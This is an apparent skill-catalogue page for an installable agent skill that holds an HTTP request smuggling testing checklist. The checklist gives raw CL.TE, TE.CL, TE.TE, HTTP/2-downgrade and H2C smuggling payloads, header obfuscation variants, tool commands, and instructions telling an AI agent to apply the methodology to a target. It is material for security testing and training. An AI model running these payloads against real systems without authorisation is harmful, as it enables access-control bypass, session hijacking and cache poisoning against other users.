offensive-request-smuggling
HTTP request smuggling checklist: CL.TE, TE.CL, TE.TE variants, detection with timing and differential responses, WAF bypass, cache poisoning, credential hijacking, and request smuggling via HTTP/2. Use when testing reverse proxy/load balancer configurations.
Install / Use
npx skills add SnailSploit/Claude-Red --skill offensive-request-smugglingInstalls into whichever agent you are using.
SKILL.md
Installable skill definition
Quality Score
Category
Development & EngineeringSupported Platforms
Our assessment of offensive-request-smuggling
offensive-request-smuggling scores 96/100 on our quality scale, 154th of 2,185 Development & Engineering skills we index (top 8%).
Its SKILL.md is 21 KB long, well organised into 44 sections with 19 code examples: a thorough specification that gives an agent plenty to work with.
With 6,850 GitHub stars, it is one of the more widely adopted skills in the catalogue.
Maintenance, license and trust
- The repository was last updated 6 days ago, so offensive-request-smuggling is actively maintained.
- It is released under the MIT license, a permissive license that allows use, modification and commercial use with attribution.
- Its trust signals score 100/100, with no cautions. These come from repository metadata, not a code audit — read the skill file before letting an agent act on it.
Safety scan
No issues foundOur scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands.
Automated pattern scan on 2026-09-26. It catches known dangerous patterns, not every risk — read a skill before letting an agent act on it.
offensive-request-smuggling compared with similar skills
All 4 of these similar skills score higher than offensive-request-smuggling; compare them before choosing.
| Skill | Score | Stars | Updated | Format |
|---|---|---|---|---|
| offensive-request-smuggling (this skill)by SnailSploit | 96 | 6.8k | 6d ago | SKILL.md |
| Agent-Reachby Panniantong | 100 | 85.5k | 11d ago | CLAUDE.md |
| ai-job-searchby MadsLorentzen | 100 | 44.0k | 5d ago | CLAUDE.md |
| claude-howtoby luongnv89 | 100 | 41.7k | today | CLAUDE.md |
| algorithmic-artby anthropics | 100 | 177.9k | 4d ago | SKILL.md |
Frequently asked questions
- How do I install offensive-request-smuggling?
- Run
npx skills add SnailSploit/Claude-Red --skill offensive-request-smuggling. The install tabs above show the steps for each supported agent. - Which AI agents does offensive-request-smuggling work with?
- It is written for Universal, as a SKILL.md file. Other agents that read the same format can often use it too.
- Is offensive-request-smuggling safe to use?
- Our scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. It is MIT-licensed and scores 100/100 on trust signals. Skills are instructions an agent will follow, so read the file before installing it and do not approve commands you do not understand.
- Is offensive-request-smuggling still maintained?
- The repository was last updated 6 days ago, so offensive-request-smuggling is actively maintained.
Skill content
View source on GitHubSKILL: HTTP Request Smuggling
Metadata
- Skill Name: request-smuggling
- Folder: offensive-request-smuggling
- Source: https://github.com/SnailSploit/offensive-checklist/blob/main/req-smuggle.md
Description
HTTP request smuggling checklist: CL.TE, TE.CL, TE.TE variants, detection with timing and differential responses, WAF bypass, cache poisoning, credential hijacking, and request smuggling via HTTP/2. Use when testing reverse proxy/load balancer configurations.
Trigger Phrases
Use this skill when the conversation involves any of:
request smuggling, HTTP smuggling, CL.TE, TE.CL, TE.TE, HTTP/2 smuggling, cache poisoning, WAF bypass, differential response, smuggling detection, proxy desync
Instructions for Claude
When this skill is active:
- Load and apply the full methodology below as your operational checklist
- Follow steps in order unless the user specifies otherwise
- For each technique, consider applicability to the current target/context
- Track which checklist items have been completed
- Suggest next steps based on findings
Full Methodology
HTTP Request Smuggling
Mechanisms
HTTP Request Smuggling is a vulnerability that occurs when front-end and back-end servers interpret HTTP requests differently, leading to a desynchronization in the HTTP request processing chain. This desynchronization allows attackers to "smuggle" requests to the back-end server, potentially bypassing security controls or manipulating how other users' requests are processed.
graph TD
A[Client] -->|HTTP Request| B[Front-end Server]
B -->|Interpreted Request| C[Back-end Server]
B -->|Different Interpretation| D[Desynchronization]
D -->|Smuggled Request| C
D -->|Security Bypass| E[Unauthorized Access]
D -->|Queue Poisoning| F[Response Hijacking]
Request smuggling vulnerabilities arise from inconsistencies in how servers parse and interpret HTTP messages, particularly regarding:
- Transfer-Encoding (TE) header: Indicates chunked encoding
- Content-Length (CL) header: Specifies the length of the message body
- Header parsing: Different handling of whitespace, newlines, and malformed headers
Common desynchronization scenarios include:
- CL.TE: Front-end uses Content-Length, back-end uses Transfer-Encoding
- TE.CL: Front-end uses Transfer-Encoding, back-end uses Content-Length
- TE.TE: Both servers use Transfer-Encoding but handle edge cases differently
HTTP/2/3 specific desync variants:
- H2.CL / H2.TE: Conflicts between HTTP/2 body length signaling and HTTP/1 backends during downgrade.
- H2C Upgrade: Cleartext HTTP/2 (h2c) upgrade paths mishandled by intermediaries.
- Authority/Host Confusion:
:authorityvsHostnormalization inconsistencies under CDNs.
graph LR
subgraph "CL.TE Attack"
A1[Client] -->|"POST / HTTP/1.1<br>Content-Length: 30<br>Transfer-Encoding: chunked<br><br>0<br><br>GET /admin HTTP/1.1<br>X-Ignore:"| B1[Front-end]
B1 -->|"Uses Content-Length: 30<br>Sees one complete request"| C1[Back-end]
C1 -->|"Uses Transfer-Encoding<br>Sees two requests:<br>1. POST /<br>2. GET /admin"| D1[Smuggled Request Processed]
end
Modern variations include:
- H2.HTTP/1: HTTP/2 to HTTP/1 downgrades causing inconsistencies
- HTTP/1.H2: HTTP/1 to HTTP/2 transitions with different interpretations
- Timeout-based: Exploiting time differences in connection handling
- Method-based: Different interpretations of HTTP methods
- Header-based: Inconsistent header parsing between servers
Hunt
Identifying Vulnerable Applications
Architecture Reconnaissance
- Look for multi-server architectures with proxies, load balancers, or CDNs
- Identify systems using Nginx, HAProxy, Varnish, or Amazon ALB/CloudFront
- Check for HTTP/2 support with HTTP/1 backend compatibility
Basic Detection Tests
-
CL.TE Vulnerability Detection (Time Delay Example):
POST / HTTP/1.1 Host: vulnerable-website.com Transfer-Encoding: chunked Content-Length: 4 1 A XSend this request, then send a normal request. If the normal request experiences a time delay, CL.TE might be present.
-
TE.CL Vulnerability Detection (Time Delay Example):
POST / HTTP/1.1 Host: vulnerable-website.com Transfer-Encoding: chunked Content-Length: 6 0 XSend this request, then send a normal request. If the normal request experiences a time delay, TE.CL might be present.
-
CL.TE Confirmation (Example):
POST / HTTP/1.1 Host: your-lab-id.web-security-academy.net Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 6 Transfer-Encoding: chunked 0 GSend twice. The second response should indicate an unrecognized method like
GPOST. -
TE.CL Confirmation (Example): (Ensure Burp's "Update Content-Length" is unchecked)
POST / HTTP/1.1 Host: your-lab-id.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-length: 4 Transfer-Encoding: chunked 5c GPOST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 15 x=1 0Send twice. The second request should show the effect of the smuggled
GPOST. -
TE.TE Desync Detection (Obfuscation Example): (Ensure Burp's "Update Content-Length" is unchecked)
POST / HTTP/1.1 Host: your-lab-id.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-length: 4 Transfer-Encoding: chunked Transfer-encoding: cow 5c GPOST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 15 x=1 0Send twice. The second request should show the effect of the smuggled
GPOST, confirming that one server ignored the obfuscatedTransfer-encoding: cowheader.
Advanced Detection Techniques
-
Differential Testing: Observe response timing differences
-
Time Delays: Add artificial delays between requests to detect queue interference
-
Obfuscation Testing: Try various obfuscation techniques:
Transfer-Encoding: xchunked Transfer-Encoding: chunked Transfer-Encoding : chunked Transfer-Encoding: chunked Transfer-Encoding: identity, chunked- HTTP/2 Specific: Duplicate
content-lengthheaders, mixed/malformed pseudo-headers, abnormal stream resets, header/continuation frame splitting.
- HTTP/2 Specific: Duplicate
Testing Methodology
flowchart TD
A[Initial Assessment] --> B{Vulnerability Detected?}
B -->|Yes| C[Confirmation Testing]
B -->|No| D[Try Advanced Techniques]
D --> B
C --> E{Confirmed?}
E -->|Yes| F[Targeted Testing]
E -->|No| D
F --> G[Documentation & Exploitation]
subgraph "Initial Assessment"
A1[Test CL.TE Payloads]
A2[Test TE.CL Payloads]
A3[Check Header Obfuscation]
end
subgraph "Confirmation Testing"
C1[Send Request with Clear Response]
C2[Test Queue Poisoning]
C3[Check Status Code Anomalies]
end
subgraph "Targeted Testing"
F1[Test HTTP/2 Downgrade]
F2[Check Header Oversizing]
F3[Test Method Handling]
end
-
Initial Assessment:
- Test standard CL.TE and TE.CL payloads
- Try header obfuscation techniques
- Check for timing inconsistencies
-
Confirmation Testing:
- Send a smuggled request that should trigger a distinct response
- Test for request queue poisoning by affecting subsequent requests
- Look for response status code anomalies
-
Targeted Testing:
- Test HTTP/2 downgrade scenarios
- Check for header oversizing vulnerabilities
- Test method-specific handling differences
Vulnerabilities
Common HTTP Request Smuggling Scenarios
mindmap
root((HTTP Request Smuggling))
Security Control Bypass
WAF Bypass
Access Control Evasion
Authentication Bypass
Request/Response Queue Poisoning
Request Hijacking
Response Queue Poisoning
Cache Poisoning
Server-Specific Vulnerabilities
Nginx-Specific
Apache-Specific
NodeJS-Specific
Impact
Session Hijacking
Data Exposure
XSS Injection
Cache Poisoning
Network Scanning
Account Takeover
Security Control Bypass
- Web Application Firewall (WAF) Bypass: Smuggling malicious content past WAF inspection
- Access Control Evasion: Accessing restricted resources by smuggling authorized-looking requests
- Authentication Bypass: Manipulating authentication flows through request smuggling
Request/Response Queue Poisoning
- Request Hijacking: Capturing parts of another user's request including cookies or authentication tokens
- Response Queue Poisoning: Causing wrong responses to be sent to users
- Cache Poisoning: Injecting malicious content into caches serving multiple users
Server-Specific Vulnerabilities
- Nginx-Specific: Inconsistent
Transfer-Encodinghandling with underscore prefixes - Apache-Specific: Different chunked encoding parser behavior
- NodeJS-Specific: Unique header parsing behavior with multiple headers
Impact Examples
- Session Hijacking: Stealing user session cookies through request smuggling
- Sensitive Data Exposure: Smuggling requests to internal resources
- Cross-Site Scripting (XSS): Injecting malicious scripts into responses sent to other users
- HTTP Cache Poisoning: Poisoning cached responses viewed by multiple users
- Internal Network Scanning: Using request smuggling for SSRF-like network scanning
- Account Takeover: Smuggling requests to change user credentials
Methodologies
Tools
- Burp Suite Professional: HTTP Request Smuggler extension (PortSwigger BApp Store)
- smuggler.py:
python3 smuggler.py -u <URL>(defparam/smuggler, anshumanpattnaik/http-request-smuggling) - tiscripts: Collection of scripts including smuggling checks (defparam/tiscripts)
- h2csmuggler:
go run ./cmd/h2csmuggler check https://target.com/ http://localhost(assetnote/h2csmuggler, BishopFox/h2csmuggler for HTTP/2) - Turbo Intruder: For advanced/customized request smuggling techniques in Burp Suite.
- Param Miner: For detecting hidden attack surfaces which might be vulnerable.
- h2spec / h3spec: Conformance testing for HTTP/2 and HTTP/3 implementations.
Testing Techniques
Basic Request Smuggling Test Patterns
-
CL.TE Pattern:
POST / HTTP/1.1 Host: vulnerable-website.com Content-Length: 39 Transfer-Encoding: chunked 0 GET /admin HTTP/1.1 Host: vulnerable-website.com -
TE.CL Pattern:
POST / HTTP/1.1 Host: vulnerable-website.com Content-Length: 4 Transfer-Encoding: chunked 5c GPOST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 15 x=1 0 -
HTTP/2 Downgrade Pattern:
:method: POST :path: / :authority: vulnerable-website.com content-length: 0 content-length: 44 GET /admin HTTP/1.1 Host: vulnerable-website.com -
H2C Upgrade Smuggling Pattern:
GET / HTTP/1.1
Host: vulnerable-website.com
Connection: Upgrade, HTTP2-Settings
Upgrade: h2c
HTTP2-Settings: AAMAAABkAAQAAP__
GET /admin HTTP/1.1
Host: vulnerable-website.com
Advanced Exploitation Techniques
-
Request Hijacking:
POST / HTTP/1.1 Host: vulnerable-website.com Content-Length: 50 Transfer-Encoding: chunked 0 GET / HTTP/1.1 Host: vulnerable-website.com
Truncated for display — read the full file on GitHub.
Related Skills
Agent-Reach
85.5kGive your AI agent eyes to see the entire internet. Read & search Twitter, Reddit, YouTube, GitHub, Bilibili, XiaoHongShu — one CLI, zero API fees.
ai-job-search
44.0kThe job search that runs on your machine. AI job application framework built on Claude Code: evaluate postings, tailor CVs, write cover letters, prep interviews. Fork it and own it.
claude-howto
41.7kA visual, example-driven guide to Claude Code — from basic concepts to advanced agents, with copy-paste templates that bring immediate value.
algorithmic-art
177.9kCreating algorithmic art using p5.js with seeded randomness and interactive parameter exploration. Use this when users request creating art using code, generative art, algorithmic art, flow fields, or particle systems.
Languages
Trust signals
From repository metadata: license, adoption, age and documentation. Not a code audit — see the Safety scan above for what the skill file itself contains.
